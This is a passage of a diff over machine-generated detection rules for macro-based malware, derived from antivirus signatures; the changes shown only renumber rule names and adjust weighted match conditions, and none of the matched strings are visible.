1)*19747) >=1 } -rule _InfrastructureShared_22782{ +rule _InfrastructureShared_24067{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297486,7 +313969,7 @@ rule _InfrastructureShared_22782{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22783{ +rule _InfrastructureShared_24068{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -297497,7 +313980,7 @@ rule _InfrastructureShared_22783{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*8194) >=1 } -rule _InfrastructureShared_22784{ +rule _InfrastructureShared_24069{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -297509,7 +313992,7 @@ rule _InfrastructureShared_22784{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*25960+(#a_74_2 & 1)*25962) >=1 } -rule _InfrastructureShared_22785{ +rule _InfrastructureShared_24070{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297520,7 +314003,7 @@ rule _InfrastructureShared_22785{ ((#a_53_0 & 1)*19747+(#a_63_1 & 1)*27234) >=2 } -rule _InfrastructureShared_22786{ +rule _InfrastructureShared_24071{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297531,7 +314014,7 @@ rule _InfrastructureShared_22786{ ((#a_53_0 & 1)*19747+(#a_5f_1 & 1)*22019) >=2 } -rule _InfrastructureShared_22787{ +rule _InfrastructureShared_24072{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -297542,7 +314025,7 @@ rule _InfrastructureShared_22787{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25965) >=3 } -rule _InfrastructureShared_22788{ +rule _InfrastructureShared_24073{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -297554,7 +314037,7 @@ rule _InfrastructureShared_22788{ ((#a_53_0 & 1)*19747+(#a_4e_1 & 1)*30977+(#a_01_2 & 1)*21604) >=3 } -rule _InfrastructureShared_22789{ +rule _InfrastructureShared_24074{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -297567,7 +314050,7 @@ rule _InfrastructureShared_22789{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*27730+(#a_01_2 & 1)*27235+(#a_54_3 & 1)*8499) >=4 } -rule _InfrastructureShared_22790{ +rule _InfrastructureShared_24075{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -297581,7 +314064,7 @@ rule _InfrastructureShared_22790{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_6d_3 & 1)*0+(#a_2e_5 & 1)*29253) >=6 } -rule _InfrastructureShared_22791{ +rule _InfrastructureShared_24076{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297591,7 +314074,7 @@ rule _InfrastructureShared_22791{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22792{ +rule _InfrastructureShared_24077{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297601,7 +314084,7 @@ rule _InfrastructureShared_22792{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22793{ +rule _InfrastructureShared_24078{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297611,7 +314094,7 @@ rule _InfrastructureShared_22793{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22794{ +rule _InfrastructureShared_24079{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297621,7 +314104,7 @@ rule _InfrastructureShared_22794{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22795{ +rule _InfrastructureShared_24080{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297631,7 +314114,7 @@ rule _InfrastructureShared_22795{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_22796{ +rule _InfrastructureShared_24081{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297641,7 +314124,7 @@ rule _InfrastructureShared_22796{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_22797{ +rule _InfrastructureShared_24082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -297652,7 +314135,7 @@ rule _InfrastructureShared_22797{ ((#a_53_0 & 1)*19747+(#a_37_1 & 1)*12342) >=1 } -rule _InfrastructureShared_22798{ +rule _InfrastructureShared_24083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297663,7 +314146,7 @@ rule _InfrastructureShared_22798{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*266) >=2 } -rule _InfrastructureShared_22799{ +rule _InfrastructureShared_24084{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297674,7 +314157,7 @@ rule _InfrastructureShared_22799{ ((#a_53_0 & 1)*19747+(#a_68_1 & 1)*8230) >=2 } -rule _InfrastructureShared_22800{ +rule _InfrastructureShared_24085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297685,7 +314168,7 @@ rule _InfrastructureShared_22800{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*11810) >=2 } -rule _InfrastructureShared_22801{ +rule _InfrastructureShared_24086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -297699,7 +314182,7 @@ rule _InfrastructureShared_22801{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25344+(#a_20_2 & 1)*-28631+(#a_64_3 & 1)*17696+(#a_4c_4 & 1)*3385) >=5 } -rule _InfrastructureShared_22802{ +rule _InfrastructureShared_24087{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297709,7 +314192,7 @@ rule _InfrastructureShared_22802{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22803{ +rule _InfrastructureShared_24088{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297719,7 +314202,7 @@ rule _InfrastructureShared_22803{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22804{ +rule _InfrastructureShared_24089{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297729,7 +314212,7 @@ rule _InfrastructureShared_22804{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22805{ +rule _InfrastructureShared_24090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297739,7 +314222,7 @@ rule _InfrastructureShared_22805{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22806{ +rule _InfrastructureShared_24091{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297749,7 +314232,7 @@ rule _InfrastructureShared_22806{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22807{ +rule _InfrastructureShared_24092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297759,7 +314242,7 @@ rule _InfrastructureShared_22807{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22808{ +rule _InfrastructureShared_24093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -297770,7 +314253,7 @@ rule _InfrastructureShared_22808{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*8736) >=1 } -rule _InfrastructureShared_22809{ +rule _InfrastructureShared_24094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 09 00 21 " @@ -297788,7 +314271,7 @@ rule _InfrastructureShared_22809{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_6e_4 & 1)*0+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_03_7 & 1)*1+(#a_6e_8 & 1)*0) >=1 } -rule _InfrastructureShared_22810{ +rule _InfrastructureShared_24095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297799,7 +314282,7 @@ rule _InfrastructureShared_22810{ ((#a_53_0 & 1)*19747+(#a_43_1 & 1)*28517) >=2 } -rule _InfrastructureShared_22811{ +rule _InfrastructureShared_24096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -297811,7 +314294,7 @@ rule _InfrastructureShared_22811{ ((#a_54_0 & 1)*18467+(#a_30_1 & 1)*11279+(#a_63_2 & 1)*17711) >=3 } -rule _InfrastructureShared_22812{ +rule _InfrastructureShared_24097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 02 00 21 " @@ -297822,7 +314305,7 @@ rule _InfrastructureShared_22812{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*-28560) >=4 } -rule _InfrastructureShared_22813{ +rule _InfrastructureShared_24098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297832,7 +314315,7 @@ rule _InfrastructureShared_22813{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22814{ +rule _InfrastructureShared_24099{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297842,7 +314325,7 @@ rule _InfrastructureShared_22814{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22815{ +rule _InfrastructureShared_24100{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297852,7 +314335,7 @@ rule _InfrastructureShared_22815{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22816{ +rule _InfrastructureShared_24101{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297862,7 +314345,7 @@ rule _InfrastructureShared_22816{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22817{ +rule _InfrastructureShared_24102{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -297873,7 +314356,7 @@ rule _InfrastructureShared_22817{ ((#a_53_0 & 1)*19747+(#a_67_1 & 1)*26994) >=1 } -rule _InfrastructureShared_22818{ +rule _InfrastructureShared_24103{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -297884,7 +314367,7 @@ rule _InfrastructureShared_22818{ ((#a_53_0 & 1)*19747+(#a_74_2 & 1)*29296) >=1 } -rule _InfrastructureShared_22819{ +rule _InfrastructureShared_24104{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297895,7 +314378,7 @@ rule _InfrastructureShared_22819{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*26414) >=2 } -rule _InfrastructureShared_22820{ +rule _InfrastructureShared_24105{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -297906,7 +314389,7 @@ rule _InfrastructureShared_22820{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*29543) >=2 } -rule _InfrastructureShared_22821{ +rule _InfrastructureShared_24106{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -297918,7 +314401,7 @@ rule _InfrastructureShared_22821{ ((#a_53_0 & 1)*19747+(#a_2e_1 & 1)*16716+(#a_66_2 & 1)*8736) >=3 } -rule _InfrastructureShared_22822{ +rule _InfrastructureShared_24107{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 05 00 21 " @@ -297931,7 +314414,7 @@ rule _InfrastructureShared_22822{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*29249+(#a_74_3 & 1)*20480+(#a_73_4 & 1)*28194) >=10 } -rule _InfrastructureShared_22823{ +rule _InfrastructureShared_24108{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,6f 00 6f 00 05 00 21 " @@ -297944,7 +314427,7 @@ rule _InfrastructureShared_22823{ ((#a_46_0 & 1)*21283+(#a_74_2 & 1)*20480+(#a_73_3 & 1)*28194+(#a_22_4 & 1)*8751) >=111 } -rule _InfrastructureShared_22824{ +rule _InfrastructureShared_24109{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297954,7 +314437,7 @@ rule _InfrastructureShared_22824{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22825{ +rule _InfrastructureShared_24110{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -297964,7 +314447,7 @@ rule _InfrastructureShared_22825{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22826{ +rule _InfrastructureShared_24111{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -297975,7 +314458,7 @@ rule _InfrastructureShared_22826{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*29300) >=1 } -rule _InfrastructureShared_22827{ +rule _InfrastructureShared_24112{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -297987,7 +314470,7 @@ rule _InfrastructureShared_22827{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*29288+(#a_6e_2 & 1)*27247) >=3 } -rule _InfrastructureShared_22828{ +rule _InfrastructureShared_24113{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -297999,7 +314482,7 @@ rule _InfrastructureShared_22828{ ((#a_53_0 & 1)*19747+(#a_52_1 & 1)*8742+(#a_52_2 & 1)*27716) >=3 } -rule _InfrastructureShared_22829{ +rule _InfrastructureShared_24114{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -298011,7 +314494,7 @@ rule _InfrastructureShared_22829{ ((#a_53_0 & 1)*19747+(#a_69_1 & 1)*25938+(#a_01_2 & 1)*25964) >=4 } -rule _InfrastructureShared_22830{ +rule _InfrastructureShared_24115{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -298025,7 +314508,7 @@ rule _InfrastructureShared_22830{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*27756+(#a_22_2 & 1)*8805+(#a_6f_3 & 1)*8742+(#a_03_4 & 1)*-28672) >=5 } -rule _InfrastructureShared_22831{ +rule _InfrastructureShared_24116{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -298036,7 +314519,7 @@ rule _InfrastructureShared_22831{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*8742) >=1 } -rule _InfrastructureShared_22832{ +rule _InfrastructureShared_24117{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -298049,7 +314532,7 @@ rule _InfrastructureShared_22832{ ((#a_53_0 & 1)*19747+(#a_04_1 & 1)*2050+(#a_71_2 & 1)*0+(#a_4f_4 & 1)*15617) >=1 } -rule _InfrastructureShared_22833{ +rule _InfrastructureShared_24118{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -298060,7 +314543,7 @@ rule _InfrastructureShared_22833{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*26167) >=2 } -rule _InfrastructureShared_22834{ +rule _InfrastructureShared_24119{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -298072,7 +314555,7 @@ rule _InfrastructureShared_22834{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*281+(#a_62_2 & 1)*12109) >=2 } -rule _InfrastructureShared_22835{ +rule _InfrastructureShared_24120{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -298084,7 +314567,7 @@ rule _InfrastructureShared_22835{ ((#a_54_0 & 1)*18467+(#a_78_1 & 1)*21550+(#a_66_2 & 1)*23) >=3 } -rule _InfrastructureShared_22836{ +rule _InfrastructureShared_24121{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -298096,7 +314579,7 @@ rule _InfrastructureShared_22836{ ((#a_54_0 & 1)*18467+(#a_4b_1 & 1)*21614+(#a_65_2 & 1)*24946) >=3 } -rule _InfrastructureShared_22837{ +rule _InfrastructureShared_24122{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -298108,7 +314591,7 @@ rule _InfrastructureShared_22837{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*19538+(#a_67_2 & 1)*27695) >=3 } -rule _InfrastructureShared_22838{ +rule _InfrastructureShared_24123{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -298120,7 +314603,7 @@ rule _InfrastructureShared_22838{ ((#a_53_0 & 1)*19747+(#a_64_1 & 1)*27722+(#a_6e_2 & 1)*17455) >=3 } -rule _InfrastructureShared_22839{ +rule _InfrastructureShared_24124{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -298132,7 +314615,7 @@ rule _InfrastructureShared_22839{ ((#a_53_0 & 1)*19747+(#a_2b_1 & 1)*25699+(#a_23_2 & 1)*3) >=3 } -rule _InfrastructureShared_22840{ +rule _InfrastructureShared_24125{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -298144,7 +314627,7 @@ rule _InfrastructureShared_22840{ ((#a_53_0 & 1)*19747+(#a_6e_1 & 1)*21038+(#a_3d_2 & 1)*25449) >=3 } -rule _InfrastructureShared_22841{ +rule _InfrastructureShared_24126{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,14 00 14 00 02 00 21 " @@ -298155,7 +314638,7 @@ rule _InfrastructureShared_22841{ ((#a_4c_0 & 1)*21539+(#a_5f_1 & 1)*25961) >=20 } -rule _InfrastructureShared_22842{ +rule _InfrastructureShared_24127{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298165,7 +314648,7 @@ rule _InfrastructureShared_22842{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22843{ +rule _InfrastructureShared_24128{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298175,7 +314658,7 @@ rule _InfrastructureShared_22843{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22844{ +rule _InfrastructureShared_24129{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298185,7 +314668,7 @@ rule _InfrastructureShared_22844{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22845{ +rule _InfrastructureShared_24130{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298195,7 +314678,7 @@ rule _InfrastructureShared_22845{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22846{ +rule _InfrastructureShared_24131{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298205,7 +314688,7 @@ rule _InfrastructureShared_22846{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22847{ +rule _InfrastructureShared_24132{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -298216,7 +314699,7 @@ rule _InfrastructureShared_22847{ ((#a_53_0 & 1)*19747+(#a_05_1 & 1)*-28632) >=1 } -rule _InfrastructureShared_22848{ +rule _InfrastructureShared_24133{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -298229,7 +314712,7 @@ rule _InfrastructureShared_22848{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*28277+(#a_62_2 & 1)*30209+(#a_01_3 & 1)*30049) >=4 } -rule _InfrastructureShared_22849{ +rule _InfrastructureShared_24134{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -298241,7 +314724,7 @@ rule _InfrastructureShared_22849{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*27756+(#a_6d_3 & 1)*2560) >=4 } -rule _InfrastructureShared_22850{ +rule _InfrastructureShared_24135{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -298254,7 +314737,7 @@ rule _InfrastructureShared_22850{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*21362+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1) >=4 } -rule _InfrastructureShared_22851{ +rule _InfrastructureShared_24136{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -298267,7 +314750,7 @@ rule _InfrastructureShared_22851{ ((#a_53_0 & 1)*19747+(#a_35_1 & 1)*14389+(#a_4d_2 & 1)*18249+(#a_22_3 & 1)*8751) >=5 } -rule _InfrastructureShared_22852{ +rule _InfrastructureShared_24137{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298277,7 +314760,7 @@ rule _InfrastructureShared_22852{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22853{ +rule _InfrastructureShared_24138{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298287,7 +314770,7 @@ rule _InfrastructureShared_22853{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22854{ +rule _InfrastructureShared_24139{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298297,7 +314780,7 @@ rule _InfrastructureShared_22854{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22855{ +rule _InfrastructureShared_24140{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -298308,7 +314791,7 @@ rule _InfrastructureShared_22855{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8736) >=2 } -rule _InfrastructureShared_22856{ +rule _InfrastructureShared_24141{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -298321,7 +314804,7 @@ rule _InfrastructureShared_22856{ ((#a_53_0 & 1)*19747+(#a_44_1 & 1)*29554+(#a_31_2 & 1)*12590+(#a_2e_3 & 1)*28514) >=4 } -rule _InfrastructureShared_22857{ +rule _InfrastructureShared_24142{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -298334,7 +314817,7 @@ rule _InfrastructureShared_22857{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*19538+(#a_6c_2 & 1)*30305+(#a_6f_3 & 1)*29808) >=4 } -rule _InfrastructureShared_22858{ +rule _InfrastructureShared_24143{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -298347,7 +314830,7 @@ rule _InfrastructureShared_22858{ ((#a_53_0 & 1)*19747+(#a_64_1 & 1)*30066+(#a_65_2 & 1)*8303+(#a_55_3 & 1)*29795) >=4 } -rule _InfrastructureShared_22859{ +rule _InfrastructureShared_24144{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298357,7 +314840,7 @@ rule _InfrastructureShared_22859{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_22860{ +rule _InfrastructureShared_24145{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298367,7 +314850,7 @@ rule _InfrastructureShared_22860{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22861{ +rule _InfrastructureShared_24146{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -298378,7 +314861,7 @@ rule _InfrastructureShared_22861{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*30054) >=2 } -rule _InfrastructureShared_22862{ +rule _InfrastructureShared_24147{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -298389,7 +314872,7 @@ rule _InfrastructureShared_22862{ ((#a_53_0 & 1)*19747+(#a_36_1 & 1)*11826) >=2 } -rule _InfrastructureShared_22863{ +rule _InfrastructureShared_24148{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -298402,7 +314885,7 @@ rule _InfrastructureShared_22863{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_74_3 & 1)*0) >=4 } -rule _InfrastructureShared_22864{ +rule _InfrastructureShared_24149{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -298417,7 +314900,7 @@ rule _InfrastructureShared_22864{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*29285+(#a_69_2 & 1)*1026+(#a_46_3 & 1)*21604+(#a_3d_4 & 1)*10544+(#a_32_5 & 1)*10242) >=6 } -rule _InfrastructureShared_22865{ +rule _InfrastructureShared_24150{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -298430,7 +314913,7 @@ rule _InfrastructureShared_22865{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*16962+(#a_00_4 & 1)*1+(#a_4d_5 & 1)*8448) >=6 } -rule _InfrastructureShared_22866{ +rule _InfrastructureShared_24151{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,07 00 07 00 07 00 21 " @@ -298446,7 +314929,7 @@ rule _InfrastructureShared_22866{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_75_4 & 1)*0+(#a_78_5 & 1)*25705+(#a_48_6 & 1)*8993) >=7 } -rule _InfrastructureShared_22867{ +rule _InfrastructureShared_24152{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298456,7 +314939,7 @@ rule _InfrastructureShared_22867{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22868{ +rule _InfrastructureShared_24153{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -298466,7 +314949,7 @@ rule _InfrastructureShared_22868{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_22869{ +rule _InfrastructureShared_24154{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -298477,7 +314960,7 @@ rule _InfrastructureShared_22869{ ((#a_53_0 & 1)*19747+(#a_45_1 & 1)*29) >=1 } -rule _InfrastructureShared_22870{ +rule _InfrastructureShared_24155{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -298488,7 +314971,7 @@ rule _InfrastructureShared_22870{ ((#a_53_0 & 1)*19747+(#a_43_1 & 1)*7168) >=2 } -rule _InfrastructureShared_22871{ +rule 